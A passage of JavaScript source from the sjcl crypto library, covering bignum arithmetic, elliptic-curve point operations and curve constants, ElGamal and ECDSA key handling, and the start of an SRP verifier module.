            p = l.pop();
        } while (l.length && p === 0);
        l.push(p);
        return this;
    },

    /** Reduce mod a modulus.  Stubbed for subclassing. */
    reduce: function () {
        return this;
    },

    /** Reduce and normalize. */
    fullReduce: function () {
        return this.normalize();
    },

    /** Propagate carries. */
    normalize: function () {
        var carry = 0,
            i, pv = this.placeVal,
            ipv = this.ipv,
            l, m, limbs = this.limbs,
            ll = limbs.length,
            mask = this.radixMask;
        for (i = 0; i < ll || (carry !== 0 && carry !== -1); i++) {
            l = (limbs[i] || 0) + carry;
            m = limbs[i] = l & mask;
            carry = (l - m) * ipv;
        }
        if (carry === -1) {
            limbs[i - 1] -= pv;
        }
        this.trim();
        return this;
    },

    /** Constant-time normalize. Does not allocate additional space. */
    cnormalize: function () {
        var carry = 0,
            i, ipv = this.ipv,
            l, m, limbs = this.limbs,
            ll = limbs.length,
            mask = this.radixMask;
        for (i = 0; i < ll - 1; i++) {
            l = limbs[i] + carry;
            m = limbs[i] = l & mask;
            carry = (l - m) * ipv;
        }
        limbs[i] += carry;
        return this;
    },

    /** Serialize to a bit array */
    toBits: function (len) {
        this.fullReduce();
        len = len || this.exponent || this.bitLength();
        var i = Math.floor((len - 1) / 24),
            w = sjcl.bitArray,
            e = (len + 7 & -8) % this.radix || this.radix,
            out = [w.partial(e, this.getLimb(i))];
        for (i--; i >= 0; i--) {
            out = w.concat(out, [w.partial(Math.min(this.radix, len), this.getLimb(i))]);
            len -= this.radix;
        }
        return out;
    },

    /** Return the length in bits, rounded up to the nearest byte. */
    bitLength: function () {
        this.fullReduce();
        var out = this.radix * (this.limbs.length - 1),
            b = this.limbs[this.limbs.length - 1];
        for (; b; b >>>= 1) {
            out++;
        }
        return out + 7 & -8;
    }
};

/** @memberOf sjcl.bn
 * @this { sjcl.bn }
 */
sjcl.bn.fromBits = function (bits) {
    var Class = this,
        out = new Class(),
        words = [],
        w = sjcl.bitArray,
        t = this.prototype,
        l = Math.min(this.bitLength || 0x100000000, w.bitLength(bits)),
        e = l % t.radix || t.radix;

    words[0] = w.extract(bits, 0, e);
    for (; e < l; e += t.radix) {
        words.unshift(w.extract(bits, e, t.radix));
    }

    out.limbs = words;
    return out;
};



sjcl.bn.prototype.ipv = 1 / (sjcl.bn.prototype.placeVal = Math.pow(2, sjcl.bn.prototype.radix));
sjcl.bn.prototype.radixMask = (1 << sjcl.bn.prototype.radix) - 1;

/**
 * Creates a new subclass of bn, based on reduction modulo a pseudo-Mersenne prime,
 * i.e. a prime of the form 2^e + sum(a * 2^b),where the sum is negative and sparse.
 */
sjcl.bn.pseudoMersennePrime = function (exponent, coeff) {
    /** @constructor
     * @private
     */
    function p(it) {
        this.initWith(it);
        /*if (this.limbs[this.modOffset]) {
          this.reduce();
        }*/
    }

    var ppr = p.prototype = new sjcl.bn(),
        i, tmp, mo;
    mo = ppr.modOffset = Math.ceil(tmp = exponent / ppr.radix);
    ppr.exponent = exponent;
    ppr.offset = [];
    ppr.factor = [];
    ppr.minOffset = mo;
    ppr.fullMask = 0;
    ppr.fullOffset = [];
    ppr.fullFactor = [];
    ppr.modulus = p.modulus = new sjcl.bn(Math.pow(2, exponent));

    ppr.fullMask = 0 | -Math.pow(2, exponent % ppr.radix);

    for (i = 0; i < coeff.length; i++) {
        ppr.offset[i] = Math.floor(coeff[i][0] / ppr.radix - tmp);
        ppr.fullOffset[i] = Math.ceil(coeff[i][0] / ppr.radix - tmp);
        ppr.factor[i] = coeff[i][1] * Math.pow(1 / 2, exponent - coeff[i][0] + ppr.offset[i] * ppr.radix);
        ppr.fullFactor[i] = coeff[i][1] * Math.pow(1 / 2, exponent - coeff[i][0] + ppr.fullOffset[i] * ppr.radix);
        ppr.modulus.addM(new sjcl.bn(Math.pow(2, coeff[i][0]) * coeff[i][1]));
        ppr.minOffset = Math.min(ppr.minOffset, -ppr.offset[i]); // conservative
    }
    ppr._class = p;
    ppr.modulus.cnormalize();

    /** Approximate reduction mod p.  May leave a number which is negative or slightly larger than p.
     * @memberof sjcl.bn
     * @this { sjcl.bn }
     */
    ppr.reduce = function () {
        var i, k, l, mo = this.modOffset,
            limbs = this.limbs,
            off = this.offset,
            ol = this.offset.length,
            fac = this.factor,
            ll;

        i = this.minOffset;
        while (limbs.length > mo) {
            l = limbs.pop();
            ll = limbs.length;
            for (k = 0; k < ol; k++) {
                limbs[ll + off[k]] -= fac[k] * l;
            }

            i--;
            if (!i) {
                limbs.push(0);
                this.cnormalize();
                i = this.minOffset;
            }
        }
        this.cnormalize();

        return this;
    };

    /** @memberof sjcl.bn
     * @this { sjcl.bn }
     */
    ppr._strongReduce = (ppr.fullMask === -1) ? ppr.reduce : function () {
        var limbs = this.limbs,
            i = limbs.length - 1,
            k, l;
        this.reduce();
        if (i === this.modOffset - 1) {
            l = limbs[i] & this.fullMask;
            limbs[i] -= l;
            for (k = 0; k < this.fullOffset.length; k++) {
                limbs[i + this.fullOffset[k]] -= this.fullFactor[k] * l;
            }
            this.normalize();
        }
    };

    /** mostly constant-time, very expensive full reduction.
     * @memberof sjcl.bn
     * @this { sjcl.bn }
     */
    ppr.fullReduce = function () {
        var greater, i;
        // massively above the modulus, may be negative

        this._strongReduce();
        // less than twice the modulus, may be negative

        this.addM(this.modulus);
        this.addM(this.modulus);
        this.normalize();
        // probably 2-3x the modulus

        this._strongReduce();
        // less than the power of 2.  still may be more than
        // the modulus

        // HACK: pad out to this length
        for (i = this.limbs.length; i < this.modOffset; i++) {
            this.limbs[i] = 0;
        }

        // constant-time subtract modulus
        greater = this.greaterEquals(this.modulus);
        for (i = 0; i < this.limbs.length; i++) {
            this.limbs[i] -= this.modulus.limbs[i] * greater;
        }
        this.cnormalize();

        return this;
    };


    /** @memberof sjcl.bn
     * @this { sjcl.bn }
     */
    ppr.inverse = function () {
        return (this.power(this.modulus.sub(2)));
    };

    p.fromBits = sjcl.bn.fromBits;

    return p;
};

// a small Mersenne prime
var sbp = sjcl.bn.pseudoMersennePrime;
sjcl.bn.prime = {
    p127: sbp(127, [
        [0, -1]
    ]),

    // Bernstein's prime for Curve25519
    p25519: sbp(255, [
        [0, -19]
    ]),

    // Koblitz primes
    p192k: sbp(192, [
        [32, -1],
        [12, -1],
        [8, -1],
        [7, -1],
        [6, -1],
        [3, -1],
        [0, -1]
    ]),
    p224k: sbp(224, [
        [32, -1],
        [12, -1],
        [11, -1],
        [9, -1],
        [7, -1],
        [4, -1],
        [1, -1],
        [0, -1]
    ]),
    p256k: sbp(256, [
        [32, -1],
        [9, -1],
        [8, -1],
        [7, -1],
        [6, -1],
        [4, -1],
        [0, -1]
    ]),

    // NIST primes
    p192: sbp(192, [
        [0, -1],
        [64, -1]
    ]),
    p224: sbp(224, [
        [0, 1],
        [96, -1]
    ]),
    p256: sbp(256, [
        [0, -1],
        [96, 1],
        [192, 1],
        [224, -1]
    ]),
    p384: sbp(384, [
        [0, -1],
        [32, 1],
        [96, -1],
        [128, -1]
    ]),
    p521: sbp(521, [
        [0, -1]
    ])
};

sjcl.bn.random = function (modulus, paranoia) {
    if (typeof modulus !== "object") {
        modulus = new sjcl.bn(modulus);
    }
    var words, i, l = modulus.limbs.length,
        m = modulus.limbs[l - 1] + 1,
        out = new sjcl.bn();
    while (true) {
        // get a sequence whose first digits make sense
        do {
            words = sjcl.random.randomWords(l, paranoia);
            if (words[l - 1] < 0) {
                words[l - 1] += 0x100000000;
            }
        } while (Math.floor(words[l - 1] / m) === Math.floor(0x100000000 / m));
        words[l - 1] %= m;

        // mask off all the limbs
        for (i = 0; i < l - 1; i++) {
            words[i] &= modulus.radixMask;
        }

        // check the rest of the digitssj
        out.limbs = words;
        if (!out.greaterEquals(modulus)) {
            return out;
        }
    }
};
/**
 * base class for all ecc operations.
 * @namespace
 */
sjcl.ecc = {};

/**
 * Represents a point on a curve in affine coordinates.
 * @constructor
 * @param {sjcl.ecc.curve} curve The curve that this point lies on.
 * @param {bigInt} x The x coordinate.
 * @param {bigInt} y The y coordinate.
 */
sjcl.ecc.point = function (curve, x, y) {
    if (x === undefined) {
        this.isIdentity = true;
    } else {
        if (x instanceof sjcl.bn) {
            x = new curve.field(x);
        }
        if (y instanceof sjcl.bn) {
            y = new curve.field(y);
        }

        this.x = x;
        this.y = y;

        this.isIdentity = false;
    }
    this.curve = curve;
};



sjcl.ecc.point.prototype = {
    toJac: function () {
        return new sjcl.ecc.pointJac(this.curve, this.x, this.y, new this.curve.field(1));
    },

    mult: function (k) {
        return this.toJac().mult(k, this).toAffine();
    },

    /**
     * Multiply this point by k, added to affine2*k2, and return the answer in Jacobian coordinates.
     * @param {bigInt} k The coefficient to multiply this by.
     * @param {bigInt} k2 The coefficient to multiply affine2 this by.
     * @param {sjcl.ecc.point} affine The other point in affine coordinates.
     * @return {sjcl.ecc.pointJac} The result of the multiplication and addition, in Jacobian coordinates.
     */
    mult2: function (k, k2, affine2) {
        return this.toJac().mult2(k, this, k2, affine2).toAffine();
    },

    multiples: function () {
        var m, i, j;
        if (this._multiples === undefined) {
            j = this.toJac().doubl();
            m = this._multiples = [new sjcl.ecc.point(this.curve), this, j.toAffine()];
            for (i = 3; i < 16; i++) {
                j = j.add(this);
                m.push(j.toAffine());
            }
        }
        return this._multiples;
    },

    negate: function () {
        var newY = new this.curve.field(0).sub(this.y).normalize().reduce();
        return new sjcl.ecc.point(this.curve, this.x, newY);
    },

    isValid: function () {
        return this.y.square().equals(this.curve.b.add(this.x.mul(this.curve.a.add(this.x.square()))));
    },

    toBits: function () {
        return sjcl.bitArray.concat(this.x.toBits(), this.y.toBits());
    }
};

/**
 * Represents a point on a curve in Jacobian coordinates. Coordinates can be specified as bigInts or strings (which
 * will be converted to bigInts).
 *
 * @constructor
 * @param {bigInt/string} x The x coordinate.
 * @param {bigInt/string} y The y coordinate.
 * @param {bigInt/string} z The z coordinate.
 * @param {sjcl.ecc.curve} curve The curve that this point lies on.
 */
sjcl.ecc.pointJac = function (curve, x, y, z) {
    if (x === undefined) {
        this.isIdentity = true;
    } else {
        this.x = x;
        this.y = y;
        this.z = z;
        this.isIdentity = false;
    }
    this.curve = curve;
};

sjcl.ecc.pointJac.prototype = {
    /**
     * Adds S and T and returns the result in Jacobian coordinates. Note that S must be in Jacobian coordinates and T must be in affine coordinates.
     * @param {sjcl.ecc.pointJac} S One of the points to add, in Jacobian coordinates.
     * @param {sjcl.ecc.point} T The other point to add, in affine coordinates.
     * @return {sjcl.ecc.pointJac} The sum of the two points, in Jacobian coordinates.
     */
    add: function (T) {
        var S = this,
            sz2, c, d, c2, x1, x2, x, y1, y2, y, z;
        if (S.curve !== T.curve) {
            throw new sjcl.exception.invalid("sjcl.ecc.add(): Points must be on the same curve to add them!");
        }

        if (S.isIdentity) {
            return T.toJac();
        } else if (T.isIdentity) {
            return S;
        }

        sz2 = S.z.square();
        c = T.x.mul(sz2).subM(S.x);

        if (c.equals(0)) {
            if (S.y.equals(T.y.mul(sz2.mul(S.z)))) {
                // same point
                return S.doubl();
            } else {
                // inverses
                return new sjcl.ecc.pointJac(S.curve);
            }
        }

        d = T.y.mul(sz2.mul(S.z)).subM(S.y);
        c2 = c.square();

        x1 = d.square();
        x2 = c.square().mul(c).addM(S.x.add(S.x).mul(c2));
        x = x1.subM(x2);

        y1 = S.x.mul(c2).subM(x).mul(d);
        y2 = S.y.mul(c.square().mul(c));
        y = y1.subM(y2);

        z = S.z.mul(c);

        return new sjcl.ecc.pointJac(this.curve, x, y, z);
    },

    /**
     * doubles this point.
     * @return {sjcl.ecc.pointJac} The doubled point.
     */
    doubl: function () {
        if (this.isIdentity) {
            return this;
        }

        var
            y2 = this.y.square(),
            a = y2.mul(this.x.mul(4)),
            b = y2.square().mul(8),
            z2 = this.z.square(),
            c = this.curve.a.toString() == (new sjcl.bn(-3)).toString() ?
            this.x.sub(z2).mul(3).mul(this.x.add(z2)) :
            this.x.square().mul(3).add(z2.square().mul(this.curve.a)),
            x = c.square().subM(a).subM(a),
            y = a.sub(x).mul(c).subM(b),
            z = this.y.add(this.y).mul(this.z);
        return new sjcl.ecc.pointJac(this.curve, x, y, z);
    },

    /**
     * Returns a copy of this point converted to affine coordinates.
     * @return {sjcl.ecc.point} The converted point.
     */
    toAffine: function () {
        if (this.isIdentity || this.z.equals(0)) {
            return new sjcl.ecc.point(this.curve);
        }
        var zi = this.z.inverse(),
            zi2 = zi.square();
        return new sjcl.ecc.point(this.curve, this.x.mul(zi2).fullReduce(), this.y.mul(zi2.mul(zi)).fullReduce());
    },

    /**
     * Multiply this point by k and return the answer in Jacobian coordinates.
     * @param {bigInt} k The coefficient to multiply by.
     * @param {sjcl.ecc.point} affine This point in affine coordinates.
     * @return {sjcl.ecc.pointJac} The result of the multiplication, in Jacobian coordinates.
     */
    mult: function (k, affine) {
        if (typeof (k) === "number") {
            k = [k];
        } else if (k.limbs !== undefined) {
            k = k.normalize().limbs;
        }

        var i, j, out = new sjcl.ecc.point(this.curve).toJac(),
            multiples = affine.multiples();

        for (i = k.length - 1; i >= 0; i--) {
            for (j = sjcl.bn.prototype.radix - 4; j >= 0; j -= 4) {
                out = out.doubl().doubl().doubl().doubl().add(multiples[k[i] >> j & 0xF]);
            }
        }

        return out;
    },

    /**
     * Multiply this point by k, added to affine2*k2, and return the answer in Jacobian coordinates.
     * @param {bigInt} k The coefficient to multiply this by.
     * @param {sjcl.ecc.point} affine This point in affine coordinates.
     * @param {bigInt} k2 The coefficient to multiply affine2 this by.
     * @param {sjcl.ecc.point} affine The other point in affine coordinates.
     * @return {sjcl.ecc.pointJac} The result of the multiplication and addition, in Jacobian coordinates.
     */
    mult2: function (k1, affine, k2, affine2) {
        if (typeof (k1) === "number") {
            k1 = [k1];
        } else if (k1.limbs !== undefined) {
            k1 = k1.normalize().limbs;
        }

        if (typeof (k2) === "number") {
            k2 = [k2];
        } else if (k2.limbs !== undefined) {
            k2 = k2.normalize().limbs;
        }

        var i, j, out = new sjcl.ecc.point(this.curve).toJac(),
            m1 = affine.multiples(),
            m2 = affine2.multiples(),
            l1, l2;

        for (i = Math.max(k1.length, k2.length) - 1; i >= 0; i--) {
            l1 = k1[i] | 0;
            l2 = k2[i] | 0;
            for (j = sjcl.bn.prototype.radix - 4; j >= 0; j -= 4) {
                out = out.doubl().doubl().doubl().doubl().add(m1[l1 >> j & 0xF]).add(m2[l2 >> j & 0xF]);
            }
        }

        return out;
    },

    negate: function () {
        return this.toAffine().negate().toJac();
    },

    isValid: function () {
        var z2 = this.z.square(),
            z4 = z2.square(),
            z6 = z4.mul(z2);
        return this.y.square().equals(
            this.curve.b.mul(z6).add(this.x.mul(
                this.curve.a.mul(z4).add(this.x.square()))));
    }
};

/**
 * Construct an elliptic curve. Most users will not use this and instead start with one of the NIST curves defined below.
 *
 * @constructor
 * @param {bigInt} p The prime modulus.
 * @param {bigInt} r The prime order of the curve.
 * @param {bigInt} a The constant a in the equation of the curve y^2 = x^3 + ax + b (for NIST curves, a is always -3).
 * @param {bigInt} x The x coordinate of a base point of the curve.
 * @param {bigInt} y The y coordinate of a base point of the curve.
 */
sjcl.ecc.curve = function (Field, r, a, b, x, y) {
    this.field = Field;
    this.r = new sjcl.bn(r);
    this.a = new Field(a);
    this.b = new Field(b);
    this.G = new sjcl.ecc.point(this, new Field(x), new Field(y));
};

sjcl.ecc.curve.prototype.fromBits = function (bits) {
    var w = sjcl.bitArray,
        l = this.field.prototype.exponent + 7 & -8,
        p = new sjcl.ecc.point(this, this.field.fromBits(w.bitSlice(bits, 0, l)),
            this.field.fromBits(w.bitSlice(bits, l, 2 * l)));
    if (!p.isValid()) {
        throw new sjcl.exception.corrupt("not on the curve!");
    }
    return p;
};

sjcl.ecc.curves = {
    c192: new sjcl.ecc.curve(
        sjcl.bn.prime.p192,
        "0xffffffffffffffffffffffff99def836146bc9b1b4d22831", -3,
        "0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1",
        "0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012",
        "0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811"),

    c224: new sjcl.ecc.curve(
        sjcl.bn.prime.p224,
        "0xffffffffffffffffffffffffffff16a2e0b8f03e13dd29455c5c2a3d", -3,
        "0xb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4",
        "0xb70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21",
        "0xbd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34"),

    c256: new sjcl.ecc.curve(
        sjcl.bn.prime.p256,
        "0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551", -3,
        "0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b",
        "0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296",
        "0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5"),

    c384: new sjcl.ecc.curve(
        sjcl.bn.prime.p384,
        "0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973", -3,
        "0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef",
        "0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7",
        "0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f"),

    c521: new sjcl.ecc.curve(
        sjcl.bn.prime.p521,
        "0x1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409", -3,
        "0x051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00",
        "0xC6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66",
        "0x11839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650"),

    k192: new sjcl.ecc.curve(
        sjcl.bn.prime.p192k,
        "0xfffffffffffffffffffffffe26f2fc170f69466a74defd8d",
        0,
        3,
        "0xdb4ff10ec057e9ae26b07d0280b7f4341da5d1b1eae06c7d",
        "0x9b2f2f6d9c5628a7844163d015be86344082aa88d95e2f9d"),

    k224: new sjcl.ecc.curve(
        sjcl.bn.prime.p224k,
        "0x010000000000000000000000000001dce8d2ec6184caf0a971769fb1f7",
        0,
        5,
        "0xa1455b334df099df30fc28a169a467e9e47075a90f7e650eb6b7a45c",
        "0x7e089fed7fba344282cafbd6f7e319f7c0b0bd59e2ca4bdb556d61a5"),

    k256: new sjcl.ecc.curve(
        sjcl.bn.prime.p256k,
        "0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141",
        0,
        7,
        "0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798",
        "0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8")

};

sjcl.ecc.curveName = function (curve) {
    var curcurve;
    for (curcurve in sjcl.ecc.curves) {
        if (sjcl.ecc.curves.hasOwnProperty(curcurve)) {
            if (sjcl.ecc.curves[curcurve] === curve) {
                return curcurve;
            }
        }
    }

    throw new sjcl.exception.invalid("no such curve");
};

sjcl.ecc.deserialize = function (key) {
    var types = ["elGamal", "ecdsa"];

    if (!key || !key.curve || !sjcl.ecc.curves[key.curve]) {
        throw new sjcl.exception.invalid("invalid serialization");
    }
    if (types.indexOf(key.type) === -1) {
        throw new sjcl.exception.invalid("invalid type");
    }

    var curve = sjcl.ecc.curves[key.curve];

    if (key.secretKey) {
        if (!key.exponent) {
            throw new sjcl.exception.invalid("invalid exponent");
        }
        var exponent = new sjcl.bn(key.exponent);
        return new sjcl.ecc[key.type].secretKey(curve, exponent);
    } else {
        if (!key.point) {
            throw new sjcl.exception.invalid("invalid point");
        }

        var point = curve.fromBits(sjcl.codec.hex.toBits(key.point));
        return new sjcl.ecc[key.type].publicKey(curve, point);
    }
};

/** our basicKey classes
 */
sjcl.ecc.basicKey = {
    /** ecc publicKey.
     * @constructor
     * @param {curve} curve the elliptic curve
     * @param {point} point the point on the curve
     */
    publicKey: function (curve, point) {
        this._curve = curve;
        this._curveBitLength = curve.r.bitLength();
        if (point instanceof Array) {
            this._point = curve.fromBits(point);
        } else {
            this._point = point;
        }

        this.serialize = function () {
            var curveName = sjcl.ecc.curveName(curve);
            return {
                type: this.getType(),
                secretKey: false,
                point: sjcl.codec.hex.fromBits(this._point.toBits()),
                curve: curveName
            };
        };

        /** get this keys point data
         * @return x and y as bitArrays
         */
        this.get = function () {
            var pointbits = this._point.toBits();
            var len = sjcl.bitArray.bitLength(pointbits);
            var x = sjcl.bitArray.bitSlice(pointbits, 0, len / 2);
            var y = sjcl.bitArray.bitSlice(pointbits, len / 2);
            return {
                x: x,
                y: y
            };
        };
    },

    /** ecc secretKey
     * @constructor
     * @param {curve} curve the elliptic curve
     * @param exponent
     */
    secretKey: function (curve, exponent) {
        this._curve = curve;
        this._curveBitLength = curve.r.bitLength();
        this._exponent = exponent;

        this.serialize = function () {
            var exponent = this.get();
            var curveName = sjcl.ecc.curveName(curve);
            return {
                type: this.getType(),
                secretKey: true,
                exponent: sjcl.codec.hex.fromBits(exponent),
                curve: curveName
            };
        };

        /** get this keys exponent data
         * @return {bitArray} exponent
         */
        this.get = function () {
            return this._exponent.toBits();
        };
    }
};

/** @private */
sjcl.ecc.basicKey.generateKeys = function (cn) {
    return function generateKeys(curve, paranoia, sec) {
        curve = curve || 256;

        if (typeof curve === "number") {
            curve = sjcl.ecc.curves['c' + curve];
            if (curve === undefined) {
                throw new sjcl.exception.invalid("no such curve");
            }
        }
        sec = sec || sjcl.bn.random(curve.r, paranoia);

        var pub = curve.G.mult(sec);
        return {
            pub: new sjcl.ecc[cn].publicKey(curve, pub),
            sec: new sjcl.ecc[cn].secretKey(curve, sec)
        };
    };
};

/** elGamal keys */
sjcl.ecc.elGamal = {
    /** generate keys
     * @function
     * @param curve
     * @param {int} paranoia Paranoia for generation (default 6)
     * @param {secretKey} sec secret Key to use. used to get the publicKey for ones secretKey
     */
    generateKeys: sjcl.ecc.basicKey.generateKeys("elGamal"),
    /** elGamal publicKey.
     * @constructor
     * @augments sjcl.ecc.basicKey.publicKey
     */
    publicKey: function (curve, point) {
        sjcl.ecc.basicKey.publicKey.apply(this, arguments);
    },
    /** elGamal secretKey
     * @constructor
     * @augments sjcl.ecc.basicKey.secretKey
     */
    secretKey: function (curve, exponent) {
        sjcl.ecc.basicKey.secretKey.apply(this, arguments);
    }
};

sjcl.ecc.elGamal.publicKey.prototype = {
    /** Kem function of elGamal Public Key
     * @param paranoia paranoia to use for randomization.
     * @return {object} key and tag. unkem(tag) with the corresponding secret key results in the key returned.
     */
    kem: function (paranoia) {
        var sec = sjcl.bn.random(this._curve.r, paranoia),
            tag = this._curve.G.mult(sec).toBits(),
            key = sjcl.hash.sha256.hash(this._point.mult(sec).toBits());
        return {
            key: key,
            tag: tag
        };
    },

    getType: function () {
        return "elGamal";
    }
};

sjcl.ecc.elGamal.secretKey.prototype = {
    /** UnKem function of elGamal Secret Key
     * @param {bitArray} tag The Tag to decrypt.
     * @return {bitArray} decrypted key.
     */
    unkem: function (tag) {
        return sjcl.hash.sha256.hash(this._curve.fromBits(tag).mult(this._exponent).toBits());
    },

    /** Diffie-Hellmann function
     * @param {elGamal.publicKey} pk The Public Key to do Diffie-Hellmann with
     * @return {bitArray} diffie-hellmann result for this key combination.
     */
    dh: function (pk) {
        return sjcl.hash.sha256.hash(pk._point.mult(this._exponent).toBits());
    },

    /** Diffie-Hellmann function, compatible with Java generateSecret
     * @param {elGamal.publicKey} pk The Public Key to do Diffie-Hellmann with
     * @return {bitArray} undigested X value, diffie-hellmann result for this key combination,
     * compatible with Java generateSecret().
     */
    dhJavaEc: function (pk) {
        return pk._point.mult(this._exponent).x.toBits();
    },

    getType: function () {
        return "elGamal";
    }
};

/** ecdsa keys */
sjcl.ecc.ecdsa = {
    /** generate keys
     * @function
     * @param curve
     * @param {int} paranoia Paranoia for generation (default 6)
     * @param {secretKey} sec secret Key to use. used to get the publicKey for ones secretKey
     */
    generateKeys: sjcl.ecc.basicKey.generateKeys("ecdsa")
};

/** ecdsa publicKey.
 * @constructor
 * @augments sjcl.ecc.basicKey.publicKey
 */
sjcl.ecc.ecdsa.publicKey = function (curve, point) {
    sjcl.ecc.basicKey.publicKey.apply(this, arguments);
};

/** specific functions for ecdsa publicKey. */
sjcl.ecc.ecdsa.publicKey.prototype = {
    /** Diffie-Hellmann function
     * @param {bitArray} hash hash to verify.
     * @param {bitArray} rs signature bitArray.
     * @param {boolean}  fakeLegacyVersion use old legacy version
     */
    verify: function (hash, rs, fakeLegacyVersion) {
        if (sjcl.bitArray.bitLength(hash) > this._curveBitLength) {
            hash = sjcl.bitArray.clamp(hash, this._curveBitLength);
        }
        var w = sjcl.bitArray,
            R = this._curve.r,
            l = this._curveBitLength,
            r = sjcl.bn.fromBits(w.bitSlice(rs, 0, l)),
            ss = sjcl.bn.fromBits(w.bitSlice(rs, l, 2 * l)),
            s = fakeLegacyVersion ? ss : ss.inverseMod(R),
            hG = sjcl.bn.fromBits(hash).mul(s).mod(R),
            hA = r.mul(s).mod(R),
            r2 = this._curve.G.mult2(hG, hA, this._point).x;
        if (r.equals(0) || ss.equals(0) || r.greaterEquals(R) || ss.greaterEquals(R) || !r2.equals(r)) {
            if (fakeLegacyVersion === undefined) {
                return this.verify(hash, rs, true);
            } else {
                throw (new sjcl.exception.corrupt("signature didn't check out"));
            }
        }
        return true;
    },

    getType: function () {
        return "ecdsa";
    }
};

/** ecdsa secretKey
 * @constructor
 * @augments sjcl.ecc.basicKey.publicKey
 */
sjcl.ecc.ecdsa.secretKey = function (curve, exponent) {
    sjcl.ecc.basicKey.secretKey.apply(this, arguments);
};

/** specific functions for ecdsa secretKey. */
sjcl.ecc.ecdsa.secretKey.prototype = {
    /** Diffie-Hellmann function
     * @param {bitArray} hash hash to sign.
     * @param {int} paranoia paranoia for random number generation
     * @param {boolean} fakeLegacyVersion use old legacy version
     */
    sign: function (hash, paranoia, fakeLegacyVersion, fixedKForTesting) {
        if (sjcl.bitArray.bitLength(hash) > this._curveBitLength) {
            hash = sjcl.bitArray.clamp(hash, this._curveBitLength);
        }
        var R = this._curve.r,
            l = R.bitLength(),
            k = fixedKForTesting || sjcl.bn.random(R.sub(1), paranoia).add(1),
            r = this._curve.G.mult(k).x.mod(R),
            ss = sjcl.bn.fromBits(hash).add(r.mul(this._exponent)),
            s = fakeLegacyVersion ? ss.inverseMod(R).mul(k).mod(R) :
            ss.mul(k.inverseMod(R)).mod(R);
        return sjcl.bitArray.concat(r.toBits(l), s.toBits(l));
    },

    getType: function () {
        return "ecdsa";
    }
};
/** @fileOverview Javascript SRP implementation.
 *
 * This file contains a partial implementation of the SRP (Secure Remote
 * Password) password-authenticated key exchange protocol. Given a user
 * identity, salt, and SRP group, it generates the SRP verifier that may
 * be sent to a remote server to establish and SRP account.
 *
 * For more information, see http://srp.stanford.edu/.
 *
 * @author Quinn Slack
 */

/**
 * Compute the SRP verifier from the username, password, salt, and group.
 * @namespace
 */
sjcl.keyexchange.srp = {
    /**
     * Calculates SRP v, the verifier.
     *   v = g^x mod N [RFC 5054]
     * @param {String} I The username.
     * @param {String} P The password.
     * @param {Object} s A bitArray of the salt.
     * @param {Object} group The SRP group. Use sjcl.keyexchange.srp.knownGroup
                             to obtain this object.
     * @return {Object} A bitArray of SRP v.
     */
    makeVerifier: function (I, P, s, group) {
        var x;
        x = sjcl.keyexchange.srp.makeX(I, P, s);
        x = sjcl.bn.fromBits(x);
        return group.g.powermod(x, group.N);
    },

    /**
     * Calculates SRP x.
     *   x = SHA1(<salt> | SHA(<username> | ":" | <raw password>)) [RFC 2945]
     * @param {String} I The username.
     * @param {String} P The password.
     * @param {Object} s A bitArray of the salt.
     * @return {Object} A bitArray of SRP x.
     */
    makeX: function (I, P, s) {
        var inner = sjcl.hash.sha1.hash(I + ':' + P);
        return sjcl.hash.sha1.hash(sjcl.bitArray.concat(s, inner));
    },

    /**
     * Returns the known SRP group with the given size (in bits).
     * @param {String} i The size of the known SRP group.
     * @return {Object} An object with "N" and "g" properties.
     */
    knownGroup: function (i) {
        if (typeof i !== "string") {
            i = i.toString();
        }
        if (!sjcl.keyexchange.srp._didInitKnownGroups) {
            sjcl.keyexchange.srp._initKnownGroups();
        }
        return sjcl.keyexchange.srp._knownGroups[i];
    },

    /**
     * Initializes bignum objects for known group parameters.
     * @private
     */
    _didInitKnownGroups: false,
    _initKnownGroups: function () {
        var i, size, group;
        for (i = 0; i < sjcl.keyexchange.srp._knownGroupSizes.length; i++) {
            size = sjcl.keyexchange.srp._knownGroupSizes[i].toString();
            group = sjcl.keyexchange.srp._knownGroups[size];
            group.N = new sjcl.bn(group.N);
            group.g = new sjcl.bn(group.g);
        }
        sjcl.keyexchange.srp._didInitKnownGroups = true;
    },

    _knownGroupSizes: [1024, 1536, 2048, 3072, 4096, 6144, 8192],
    _knownGroups: {
        1024: {
            N: "EEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C" +
                "9C256576D674DF7496EA81D3383B4813D692C6E0E0D5D8E250B98BE4" +
